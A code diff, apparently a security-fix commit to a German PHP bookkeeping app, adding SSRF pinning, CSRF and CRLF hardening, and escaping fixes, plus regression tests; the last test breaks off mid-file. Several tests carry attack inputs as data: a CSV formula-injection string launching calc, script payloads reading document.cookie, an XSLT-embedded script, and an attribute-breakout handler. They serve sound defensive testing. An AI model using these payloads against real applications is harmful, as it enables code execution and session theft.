$toHdr = implode(', ', $to);
|
||||||
$subjHdr = $this->encodeHeader($subject);
|
$subjHdr = $this->encodeHeader($subject);
|
||||||
$msgId = '<' . uniqid('sk', true) . '@' . (gethostname() ?: 'localhost') . '>';
|
$msgId = '<' . uniqid('sk', true) . '@' . (gethostname() ?: 'localhost') . '>';
|
||||||
|
|
@ -228,6 +228,12 @@ class SmtpMailer
|
||||||
} while ($line[3] === '-');
|
} while ($line[3] === '-');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Entfernt eingebettete CRLF, damit die Adresse nicht als SMTP-Kommando/Header-Injection missbraucht werden kann. */
|
||||||
|
private function sanitizeAddress(string $value): string
|
||||||
|
{
|
||||||
|
return str_replace(["\r", "\n"], '', $value);
|
||||||
|
}
|
||||||
|
|
||||||
private function encodeHeader(string $value): string
|
private function encodeHeader(string $value): string
|
||||||
{
|
{
|
||||||
$value = str_replace(["\r", "\n"], '', $value);
|
$value = str_replace(["\r", "\n"], '', $value);
|
||||||
|
|
|
||||||
|
|
@ -16,6 +16,23 @@ class SsrfGuard
|
||||||
* @throws \RuntimeException wenn die URL kein zulässiges Ziel ist
|
* @throws \RuntimeException wenn die URL kein zulässiges Ziel ist
|
||||||
*/
|
*/
|
||||||
public static function assertPublicHttpsUrl(string $url): void
|
public static function assertPublicHttpsUrl(string $url): void
|
||||||
|
{
|
||||||
|
self::resolvePinned($url);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Wie assertPublicHttpsUrl(), gibt aber zusätzlich die bereits geprüften
|
||||||
|
* IP-Adressen als CURLOPT_RESOLVE-Einträge ("HOST:PORT:IP") zurück. Damit
|
||||||
|
* kann der aufrufende Code den Host für den tatsächlichen Request auf genau
|
||||||
|
* diese IP(s) festnageln, statt ihn (z.B. durch cURL selbst) erneut über
|
||||||
|
* den System-Resolver aufzulösen – Schutz gegen DNS-Rebinding/TOCTOU
|
||||||
|
* zwischen Prüfung und Verbindungsaufbau (siehe Issue #130).
|
||||||
|
*
|
||||||
|
* @return string[] leer, wenn der Host bereits ein IP-Literal ist (dann
|
||||||
|
* ist kein Pinning nötig, cURL löst nichts auf)
|
||||||
|
* @throws \RuntimeException wenn die URL kein zulässiges Ziel ist
|
||||||
|
*/
|
||||||
|
public static function resolvePinned(string $url): array
|
||||||
{
|
{
|
||||||
$parts = parse_url($url);
|
$parts = parse_url($url);
|
||||||
if ($parts === false || empty($parts['scheme']) || empty($parts['host'])) {
|
if ($parts === false || empty($parts['scheme']) || empty($parts['host'])) {
|
||||||
|
|
@ -29,10 +46,11 @@ class SsrfGuard
|
||||||
}
|
}
|
||||||
|
|
||||||
$host = trim((string)$parts['host'], '[]');
|
$host = trim((string)$parts['host'], '[]');
|
||||||
|
$port = (int)($parts['port'] ?? 443);
|
||||||
|
|
||||||
if (filter_var($host, FILTER_VALIDATE_IP)) {
|
if (filter_var($host, FILTER_VALIDATE_IP)) {
|
||||||
self::assertPublicIp($host);
|
self::assertPublicIp($host);
|
||||||
return;
|
return [];
|
||||||
}
|
}
|
||||||
|
|
||||||
if (strtolower($host) === 'localhost') {
|
if (strtolower($host) === 'localhost') {
|
||||||
|
|
@ -46,6 +64,11 @@ class SsrfGuard
|
||||||
foreach ($ips as $ip) {
|
foreach ($ips as $ip) {
|
||||||
self::assertPublicIp($ip);
|
self::assertPublicIp($ip);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return array_map(
|
||||||
|
static fn(string $ip): string => sprintf('%s:%d:%s', $host, $port, $ip),
|
||||||
|
$ips
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
private static function assertPublicIp(string $ip): void
|
private static function assertPublicIp(string $ip): void
|
||||||
|
|
|
||||||
|
|
@ -470,6 +470,7 @@ $csvDateFormatOptions = [
|
||||||
<script>
|
<script>
|
||||||
(function () {
|
(function () {
|
||||||
const connections = <?= $connectionsJson ?>;
|
const connections = <?= $connectionsJson ?>;
|
||||||
|
const csrfToken = (document.querySelector('meta[name="csrf-token"]') || {}).content || '';
|
||||||
|
|
||||||
// ── NEU-Modal ────────────────────────────────────────────────
|
// ── NEU-Modal ────────────────────────────────────────────────
|
||||||
const modalNew = document.getElementById('modal-new-connection');
|
const modalNew = document.getElementById('modal-new-connection');
|
||||||
|
|
@ -847,7 +848,7 @@ $csvDateFormatOptions = [
|
||||||
modalRun.style.display = 'flex';
|
modalRun.style.display = 'flex';
|
||||||
|
|
||||||
if (activeEs) activeEs.close();
|
if (activeEs) activeEs.close();
|
||||||
activeEs = new EventSource('/bank/direkt/' + id + '/run');
|
activeEs = new EventSource('/bank/direkt/' + id + '/run?csrf_token=' + encodeURIComponent(csrfToken));
|
||||||
|
|
||||||
activeEs.addEventListener('log', (ev) => {
|
activeEs.addEventListener('log', (ev) => {
|
||||||
runLogArea.textContent += ev.data + '\n';
|
runLogArea.textContent += ev.data + '\n';
|
||||||
|
|
|
||||||
|
|
@ -131,7 +131,9 @@
|
||||||
}
|
}
|
||||||
|
|
||||||
function esc(str) {
|
function esc(str) {
|
||||||
return String(str ?? '').replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');
|
return String(str ?? '')
|
||||||
|
.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>')
|
||||||
|
.replace(/"/g,'"').replace(/'/g,''');
|
||||||
}
|
}
|
||||||
|
|
||||||
function renderHeaderRow(headerRow, firstData) {
|
function renderHeaderRow(headerRow, firstData) {
|
||||||
|
|
|
||||||
|
|
@ -426,7 +426,7 @@ $suppliers = $suppliers ?? [];
|
||||||
<?php if (isset($formErrors['_exception'])): ?>
|
<?php if (isset($formErrors['_exception'])): ?>
|
||||||
Fehler: <?= $h($formErrors['_exception']) ?>
|
Fehler: <?= $h($formErrors['_exception']) ?>
|
||||||
<?php else: ?>
|
<?php else: ?>
|
||||||
<?= implode(' | ', array_map(fn($k,$v) => "<strong>$k:</strong> $v", array_keys($formErrors), $formErrors)) ?>
|
<?= implode(' | ', array_map(fn($k,$v) => '<strong>'.$h($k).':</strong> '.$h($v), array_keys($formErrors), $formErrors)) ?>
|
||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
</div>
|
</div>
|
||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
|
|
|
||||||
|
|
@ -118,7 +118,7 @@ foreach ($accounts as $acc) {
|
||||||
<?php if (isset($formErrors['_exception'])): ?>
|
<?php if (isset($formErrors['_exception'])): ?>
|
||||||
Fehler: <?= $h($formErrors['_exception']) ?>
|
Fehler: <?= $h($formErrors['_exception']) ?>
|
||||||
<?php else: ?>
|
<?php else: ?>
|
||||||
<?= implode(' | ', array_map(fn($k,$v) => "<strong>$k:</strong> $v", array_keys($formErrors), $formErrors)) ?>
|
<?= implode(' | ', array_map(fn($k,$v) => '<strong>'.$h($k).':</strong> '.$h($v), array_keys($formErrors), $formErrors)) ?>
|
||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
</div>
|
</div>
|
||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
|
|
|
||||||
43
tests/62_BankDirektRunCsrfTest.php
Normal file
43
tests/62_BankDirektRunCsrfTest.php
Normal file
|
|
@ -0,0 +1,43 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
use Steuerkram\Auth;
|
||||||
|
|
||||||
|
class BankDirektRunCsrfTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 62: CSRF-Schutz für GET /bank/direkt/{id}/run';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
$backup = $_SESSION['csrf_token'] ?? null;
|
||||||
|
try {
|
||||||
|
$_SESSION['csrf_token'] = 'geheimes-session-token';
|
||||||
|
|
||||||
|
$this->assert(
|
||||||
|
Auth::isValidCsrfToken('geheimes-session-token'),
|
||||||
|
'Korrektes Token wird akzeptiert'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
!Auth::isValidCsrfToken('falsches-token'),
|
||||||
|
'Falsches Token wird abgelehnt'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
!Auth::isValidCsrfToken(''),
|
||||||
|
'Leeres Token (fehlender Query-Parameter) wird abgelehnt'
|
||||||
|
);
|
||||||
|
|
||||||
|
unset($_SESSION['csrf_token']);
|
||||||
|
$this->assert(
|
||||||
|
!Auth::isValidCsrfToken('irgendein-token'),
|
||||||
|
'Ohne Session-Token wird jedes Token abgelehnt'
|
||||||
|
);
|
||||||
|
} finally {
|
||||||
|
if ($backup === null) {
|
||||||
|
unset($_SESSION['csrf_token']);
|
||||||
|
} else {
|
||||||
|
$_SESSION['csrf_token'] = $backup;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
71
tests/63_SsrfPinningTest.php
Normal file
71
tests/63_SsrfPinningTest.php
Normal file
|
|
@ -0,0 +1,71 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
use Steuerkram\Database;
|
||||||
|
use Steuerkram\Services\NextcloudImportService;
|
||||||
|
use Steuerkram\Services\SsrfGuard;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test 63: SSRF-Schutz gegen DNS-Rebinding/TOCTOU (Issue #130).
|
||||||
|
* SsrfGuard::resolvePinned() liefert für gültige https-Hosts CURLOPT_RESOLVE-Einträge
|
||||||
|
* mit den bereits geprüften IP-Adressen zurück, statt dass der spätere Request den
|
||||||
|
* Hostnamen erneut selbst auflösen muss. NextcloudImportService übernimmt diese
|
||||||
|
* Einträge und nutzt sie für alle eigenen cURL-Requests.
|
||||||
|
*/
|
||||||
|
class SsrfPinningTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 63: SSRF-Schutz gegen DNS-Rebinding (IP-Pinning)';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
// Hostname: resolvePinned() liefert nicht-leere CURLOPT_RESOLVE-Einträge im
|
||||||
|
// Format "HOST:PORT:IP" mit dem tatsächlich geprüften Hostnamen und Port.
|
||||||
|
$entries = SsrfGuard::resolvePinned('https://example.com/fints');
|
||||||
|
$this->assertNotEmpty($entries, 'resolvePinned() liefert Einträge für einen gültigen Hostnamen');
|
||||||
|
foreach ($entries as $entry) {
|
||||||
|
$this->assert(
|
||||||
|
str_starts_with($entry, 'example.com:443:'),
|
||||||
|
'CURLOPT_RESOLVE-Eintrag beginnt mit "example.com:443:" (Eintrag: ' . $entry . ')'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// IP-Literal als Host: kein Pinning nötig/möglich, resolvePinned() liefert leeres Array,
|
||||||
|
// validiert aber weiterhin gegen private/interne Bereiche.
|
||||||
|
$entries = SsrfGuard::resolvePinned('https://8.8.8.8/fints');
|
||||||
|
$this->assertEquals([], $entries, 'resolvePinned() liefert kein Pinning für ein bereits öffentliches IP-Literal');
|
||||||
|
|
||||||
|
try {
|
||||||
|
SsrfGuard::resolvePinned('https://127.0.0.1/fints');
|
||||||
|
$this->assert(false, 'resolvePinned() lehnt private IP-Literale weiterhin ab');
|
||||||
|
} catch (\RuntimeException $e) {
|
||||||
|
$this->assert(true, 'resolvePinned() lehnt private IP-Literale weiterhin ab');
|
||||||
|
}
|
||||||
|
|
||||||
|
// NextcloudImportService: pinnedResolve wird beim Konstruieren aus der geprüften
|
||||||
|
// baseUrl befüllt und für alle eigenen cURL-Requests verwendet (newCurl()).
|
||||||
|
$this->configure('https://example.com', 'importuser', 'geheim');
|
||||||
|
$svc = new NextcloudImportService();
|
||||||
|
$pinned = $this->readProperty($svc, 'pinnedResolve');
|
||||||
|
$this->assertNotEmpty($pinned, 'NextcloudImportService pinnt die IP(s) der geprüften baseUrl');
|
||||||
|
$this->assert(
|
||||||
|
str_starts_with($pinned[0], 'example.com:443:'),
|
||||||
|
'Gepinnter Eintrag bezieht sich auf den Host der baseUrl'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function configure(string $url, string $user, string $pass): void
|
||||||
|
{
|
||||||
|
Database::execute(
|
||||||
|
'UPDATE company_settings SET nextcloud_url=?, nextcloud_user=?, nextcloud_pass=? WHERE id=1',
|
||||||
|
[$url, $user, $pass]
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function readProperty(object $obj, string $name): mixed
|
||||||
|
{
|
||||||
|
$prop = new \ReflectionProperty($obj, $name);
|
||||||
|
$prop->setAccessible(true);
|
||||||
|
return $prop->getValue($obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
49
tests/64_AnlageCsvInjectionTest.php
Normal file
49
tests/64_AnlageCsvInjectionTest.php
Normal file
|
|
@ -0,0 +1,49 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
use Steuerkram\Controllers\EuerController;
|
||||||
|
|
||||||
|
class AnlageCsvInjectionTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 64: CSV-Formel-Injection im Anlagelisten-Export verhindert';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
$year = (int)date('Y');
|
||||||
|
|
||||||
|
\Steuerkram\Database::execute(
|
||||||
|
"INSERT INTO assets (lfd_nr, anlage_nr, bezeichnung, anschaffungsdatum, anschaffungskosten)
|
||||||
|
VALUES (9998, 'TEST-CSV-INJ', ?, ?, 500.00)",
|
||||||
|
["=cmd|'/c calc'!A1", $year . '-01-15']
|
||||||
|
);
|
||||||
|
|
||||||
|
ob_start();
|
||||||
|
$controller = new EuerController();
|
||||||
|
$controller->anlageCsv(['year' => (string)$year]);
|
||||||
|
$csv = ob_get_clean();
|
||||||
|
|
||||||
|
$lines = explode("\n", $csv);
|
||||||
|
$zeile = null;
|
||||||
|
foreach ($lines as $line) {
|
||||||
|
if (str_contains($line, 'TEST-CSV-INJ')) {
|
||||||
|
$zeile = $line;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$this->assertNotEmpty($zeile, 'Zeile mit Test-Anlage in der CSV-Ausgabe gefunden');
|
||||||
|
|
||||||
|
$felder = explode(';', (string)$zeile);
|
||||||
|
$bezeichnung = $felder[1] ?? '';
|
||||||
|
|
||||||
|
$this->assertEquals(
|
||||||
|
"'=cmd|'/c calc'!A1",
|
||||||
|
$bezeichnung,
|
||||||
|
'Führendes = in der Bezeichnung wird mit vorangestelltem \' entschärft'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
!str_starts_with($bezeichnung, '='),
|
||||||
|
'Bezeichnungsfeld beginnt nicht mehr mit = (kein von Excel interpretiertes Formelfeld)'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
84
tests/65_InvoiceBookReflectedXssTest.php
Normal file
84
tests/65_InvoiceBookReflectedXssTest.php
Normal file
|
|
@ -0,0 +1,84 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test 65: Reflektiertes XSS über den _error-GET-Parameter bei der
|
||||||
|
* Zahlungserfassung (InvoiceController::book()) ist geschlossen.
|
||||||
|
*/
|
||||||
|
class InvoiceBookReflectedXssTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 65: Kein reflektiertes XSS über _error-Parameter bei Rechnungs-Zahlungserfassung';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
$datum = date('Y-m-d');
|
||||||
|
|
||||||
|
$customerId = \Steuerkram\Models\Customer::create([
|
||||||
|
'nachname' => 'XssTest',
|
||||||
|
'firma' => 'XSS Test GmbH',
|
||||||
|
'strasse' => 'Teststraße 1',
|
||||||
|
'plz' => '10115',
|
||||||
|
'ort' => 'Berlin',
|
||||||
|
'payment_days' => 14,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$invoiceId = \Steuerkram\Models\Invoice::create([
|
||||||
|
'customer_id' => $customerId,
|
||||||
|
'betreff' => 'Testrechnung für XSS-Test',
|
||||||
|
'rechnungs_datum' => $datum,
|
||||||
|
'leistungszeitraum_von' => date('Y-m-01'),
|
||||||
|
'leistungszeitraum_bis' => date('Y-m-t'),
|
||||||
|
'lines' => [
|
||||||
|
[
|
||||||
|
'bezeichnung' => 'Beratungsleistung',
|
||||||
|
'menge' => 1,
|
||||||
|
'einheit' => 'h',
|
||||||
|
'einzelpreis' => 100.00,
|
||||||
|
'ust_satz' => 19.0,
|
||||||
|
],
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
$rechnungsNr = \Steuerkram\Models\Invoice::finalize($invoiceId);
|
||||||
|
$invoice = \Steuerkram\Models\Invoice::find($invoiceId);
|
||||||
|
|
||||||
|
$belegNr = \Steuerkram\Models\Beleg::generateBelegNr();
|
||||||
|
$belegId = \Steuerkram\Models\Beleg::create([
|
||||||
|
'beleg_nr' => $belegNr,
|
||||||
|
'filename' => $rechnungsNr . '.pdf',
|
||||||
|
'storage_path' => '',
|
||||||
|
'mime_type' => 'application/pdf',
|
||||||
|
'file_hash' => hash('sha256', $rechnungsNr),
|
||||||
|
'beleg_datum' => $invoice['rechnungs_datum'],
|
||||||
|
'rechnungs_nr' => $rechnungsNr,
|
||||||
|
'betrag_brutto' => $invoice['betrag_brutto'],
|
||||||
|
'belegtyp' => 'Ausgangsrechnung',
|
||||||
|
'notes' => 'Test Ausgangsrechnung',
|
||||||
|
]);
|
||||||
|
\Steuerkram\Database::execute(
|
||||||
|
'UPDATE invoices SET beleg_id=? WHERE id=?', [$belegId, $invoiceId]
|
||||||
|
);
|
||||||
|
|
||||||
|
$payload = '<script>alert(document.cookie)</script>';
|
||||||
|
$getBackup = $_GET;
|
||||||
|
$_GET['_error'] = ['x' => $payload];
|
||||||
|
|
||||||
|
try {
|
||||||
|
$controller = new \Steuerkram\Controllers\InvoiceController();
|
||||||
|
ob_start();
|
||||||
|
$controller->book(['id' => (string)$invoiceId]);
|
||||||
|
$html = ob_get_clean();
|
||||||
|
} finally {
|
||||||
|
$_GET = $getBackup;
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->assert(
|
||||||
|
!str_contains($html, $payload),
|
||||||
|
'Roher <script>-Payload aus $_GET[_error] erscheint nicht unescaped in der Ausgabe'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
!str_contains($html, '<script>alert(document.cookie)'),
|
||||||
|
'Kein ausführbares <script>-Tag in der Ausgabe (auch nicht durch Groß-/Kleinschreibung o.ä. verschleiert)'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
61
tests/66_BankUploadPreviewXssTest.php
Normal file
61
tests/66_BankUploadPreviewXssTest.php
Normal file
|
|
@ -0,0 +1,61 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test 66: Attribut-basiertes DOM-XSS in der CSV/XLSX-Vorschau beim
|
||||||
|
* Bankimport (bank/upload.php) ist geschlossen.
|
||||||
|
*
|
||||||
|
* Die clientseitige esc()-Funktion escapte bisher nur &, < und >, nicht
|
||||||
|
* aber " und '. Da escapte Werte per innerHTML in ein title="..."-Attribut
|
||||||
|
* eingesetzt werden, konnte ein Header-/Zellwert wie
|
||||||
|
* `Spalte" onmouseover="alert(1)` aus dem Attribut ausbrechen.
|
||||||
|
*/
|
||||||
|
class BankUploadPreviewXssTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 66: Kein DOM-XSS in der Bankimport-Vorschau (esc() escaped Anführungszeichen)';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
$viewFile = __DIR__ . '/../src/Views/bank/upload.php';
|
||||||
|
$content = file_get_contents($viewFile);
|
||||||
|
|
||||||
|
$this->assert(
|
||||||
|
$content !== false,
|
||||||
|
'View-Datei bank/upload.php ist lesbar'
|
||||||
|
);
|
||||||
|
|
||||||
|
$this->assert(
|
||||||
|
str_contains($content, "replace(/\"/g,'"')")
|
||||||
|
&& str_contains($content, "replace(/'/g,''')"),
|
||||||
|
'esc() escaped sowohl " als auch \' zusätzlich zu &, < und >'
|
||||||
|
);
|
||||||
|
|
||||||
|
$node = trim((string)shell_exec('command -v node'));
|
||||||
|
if ($node === '') {
|
||||||
|
$this->assert(true, 'node nicht verfügbar – Escaping nur per Quelltext-Check geprüft');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!preg_match('/function esc\(str\) \{.*?\n \}/s', $content, $m)) {
|
||||||
|
$this->assert(false, 'esc()-Funktion konnte aus der View-Datei extrahiert werden');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$script = $m[0] . "\nconsole.log(esc('Spalte\" onmouseover=\"alert(1)'));";
|
||||||
|
$tmp = tempnam(sys_get_temp_dir(), 'esc_test_') . '.js';
|
||||||
|
file_put_contents($tmp, $script);
|
||||||
|
$output = shell_exec(escapeshellarg($node) . ' ' . escapeshellarg($tmp) . ' 2>&1');
|
||||||
|
@unlink($tmp);
|
||||||
|
|
||||||
|
$this->assert(
|
||||||
|
$output !== null && !str_contains($output, '" onmouseover="'),
|
||||||
|
'esc() liefert für einen bösartigen Zellwert kein aus dem title-Attribut ausbrechendes Ergebnis'
|
||||||
|
);
|
||||||
|
|
||||||
|
$this->assert(
|
||||||
|
$output !== null && str_contains($output, '"'),
|
||||||
|
'esc() liefert für einen bösartigen Zellwert das erwartete "-Escaping'
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
76
tests/67_BelegXmlXsltXssTest.php
Normal file
76
tests/67_BelegXmlXsltXssTest.php
Normal file
|
|
@ -0,0 +1,76 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test 67: Stored XSS über XSLT in hochgeladenen XML-Belegen ist geschlossen
|
||||||
|
* (BelegController::serveFile liefert XML-Belege als Download statt inline aus).
|
||||||
|
*/
|
||||||
|
class BelegXmlXsltXssTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 67: XML-Belege werden als Attachment statt inline ausgeliefert';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
$belegNr = \Steuerkram\Models\Beleg::generateBelegNr();
|
||||||
|
$year = date('Y');
|
||||||
|
$relDir = "{$year}/{$belegNr}";
|
||||||
|
$absDir = \Steuerkram\Config::get('upload_dir') . "/{$relDir}";
|
||||||
|
if (!is_dir($absDir)) {
|
||||||
|
mkdir($absDir, 0755, true);
|
||||||
|
}
|
||||||
|
$storagePath = "{$relDir}/original.xml";
|
||||||
|
$absPath = \Steuerkram\Config::get('upload_dir') . "/{$storagePath}";
|
||||||
|
|
||||||
|
$xmlPayload = <<<'XML'
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
|
||||||
|
<doc>
|
||||||
|
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
|
||||||
|
<xsl:template match="/">
|
||||||
|
<html><body><script>alert(document.domain)</script></body></html>
|
||||||
|
</xsl:template>
|
||||||
|
</xsl:stylesheet>
|
||||||
|
</doc>
|
||||||
|
XML;
|
||||||
|
file_put_contents($absPath, $xmlPayload);
|
||||||
|
|
||||||
|
$belegId = \Steuerkram\Models\Beleg::create([
|
||||||
|
'beleg_nr' => $belegNr,
|
||||||
|
'filename' => 'rechnung.xml',
|
||||||
|
'storage_path' => $storagePath,
|
||||||
|
'mime_type' => 'text/xml',
|
||||||
|
'file_hash' => hash('sha256', $xmlPayload),
|
||||||
|
'beleg_datum' => date('Y-m-d'),
|
||||||
|
'rechnungs_nr' => null,
|
||||||
|
'betrag_brutto' => 100.00,
|
||||||
|
'belegtyp' => 'Eingangsrechnung',
|
||||||
|
'notes' => 'XSLT-XSS-Test',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$controller = new \Steuerkram\Controllers\BelegController();
|
||||||
|
|
||||||
|
ob_start();
|
||||||
|
$controller->serveFile(['id' => (string)$belegId]);
|
||||||
|
ob_get_clean();
|
||||||
|
|
||||||
|
$headers = headers_list();
|
||||||
|
$disposition = '';
|
||||||
|
foreach ($headers as $header) {
|
||||||
|
if (stripos($header, 'Content-Disposition:') === 0) {
|
||||||
|
$disposition = $header;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->assertNotEmpty(
|
||||||
|
$disposition,
|
||||||
|
'Es wurde ein Content-Disposition-Header gesetzt'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
stripos($disposition, 'attachment') !== false,
|
||||||
|
"XML-Beleg wird als attachment statt inline ausgeliefert (erhalten: {$disposition})"
|
||||||
|
);
|
||||||
|
|
||||||
|
@unlink($absPath);
|
||||||
|
}
|
||||||
|
}
|
||||||
78
tests/68_ProductionErrorHardeningTest.php
Normal file
78
tests/68_ProductionErrorHardeningTest.php
Normal file
|
|
@ -0,0 +1,78 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test 68: Produktions-Härtung der PHP-Fehlerausgabe (Issue #142).
|
||||||
|
* Prüft, dass display_errors deaktiviert ist, die Ini im Image landet und
|
||||||
|
* public/index.php Fehler zentral abfängt statt Details an den Client zu senden.
|
||||||
|
*/
|
||||||
|
class ProductionErrorHardeningTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 68: display_errors aus & zentraler Error-Handler ohne Detail-Leak';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
$baseDir = dirname(__DIR__);
|
||||||
|
|
||||||
|
$iniPath = $baseDir . '/php/error-handling.ini';
|
||||||
|
$this->assert(is_file($iniPath), 'php/error-handling.ini existiert');
|
||||||
|
$ini = file_get_contents($iniPath) ?: '';
|
||||||
|
$this->assert(
|
||||||
|
(bool) preg_match('/^\s*display_errors\s*=\s*Off\s*$/mi', $ini),
|
||||||
|
'display_errors ist in error-handling.ini auf Off gesetzt'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
(bool) preg_match('/^\s*log_errors\s*=\s*On\s*$/mi', $ini),
|
||||||
|
'log_errors ist in error-handling.ini auf On gesetzt'
|
||||||
|
);
|
||||||
|
|
||||||
|
$dockerfile = file_get_contents($baseDir . '/Dockerfile') ?: '';
|
||||||
|
$this->assert(
|
||||||
|
str_contains($dockerfile, 'php/error-handling.ini') && str_contains($dockerfile, '/usr/local/etc/php/conf.d/'),
|
||||||
|
'Dockerfile kopiert error-handling.ini in den PHP conf.d-Ordner'
|
||||||
|
);
|
||||||
|
|
||||||
|
$index = file_get_contents($baseDir . '/public/index.php') ?: '';
|
||||||
|
$this->assert(
|
||||||
|
str_contains($index, 'set_exception_handler'),
|
||||||
|
'index.php registriert einen globalen Exception-Handler'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
str_contains($index, 'set_error_handler'),
|
||||||
|
'index.php registriert einen globalen Error-Handler'
|
||||||
|
);
|
||||||
|
$this->assert(
|
||||||
|
str_contains($index, 'register_shutdown_function'),
|
||||||
|
'index.php registriert einen Shutdown-Handler für Fatal Errors'
|
||||||
|
);
|
||||||
|
|
||||||
|
// Der Handler muss vor dem Autoload/Routing stehen, damit auch frühe Fehler abgefangen werden.
|
||||||
|
$handlerPos = strpos($index, 'set_exception_handler');
|
||||||
|
$autoloadPos = strpos($index, "require BASE_DIR . '/vendor/autoload.php'");
|
||||||
|
$this->assert(
|
||||||
|
$handlerPos !== false && $autoloadPos !== false && $handlerPos < $autoloadPos,
|
||||||
|
'Exception-Handler wird vor dem Autoload registriert'
|
||||||
|
);
|
||||||
|
|
||||||
|
// Sicherstellen, dass im an den Client gesendeten HTML keine Exception-Details landen.
|
||||||
|
$exceptionHandlerBlock = substr($index, $handlerPos, 400);
|
||||||
|
foreach (['getMessage()', 'getTraceAsString()', 'getFile()', '$e->'] as $forbidden) {
|
||||||
|
$this->assert(
|
||||||
|
!str_contains($this->extractEchoBlock($index), $forbidden),
|
||||||
|
"Client-Ausgabe enthält keinen Verweis auf {$forbidden}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
unset($exceptionHandlerBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function extractEchoBlock(string $index): string
|
||||||
|
{
|
||||||
|
$start = strpos($index, "echo '<!DOCTYPE html>");
|
||||||
|
$end = strpos($index, "};", $start !== false ? $start : 0);
|
||||||
|
if ($start === false || $end === false) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
return substr($index, $start, $end - $start);
|
||||||
|
}
|
||||||
|
}
|
||||||
72
tests/69_MailFromEmailInjectionTest.php
Normal file
72
tests/69_MailFromEmailInjectionTest.php
Normal file
|
|
@ -0,0 +1,72 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
use Steuerkram\Models\Setting;
|
||||||
|
use Steuerkram\Services\SmtpMailer;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Test 69: SMTP-Header-/Kommando-Injection über mail_from_email verhindert (Fix #148).
|
||||||
|
*/
|
||||||
|
class MailFromEmailInjectionTest extends TestCase
|
||||||
|
{
|
||||||
|
protected string $testName = 'Test 69: mail_from_email – Validierung & SmtpMailer-Härtung';
|
||||||
|
|
||||||
|
public function run(): void
|
||||||
|
{
|
||||||
|
$before = Setting::get();
|
||||||
|
$base = array_merge($before, [
|
||||||
|
'firma' => $before['firma'] ?: 'Testfirma',
|
||||||
|
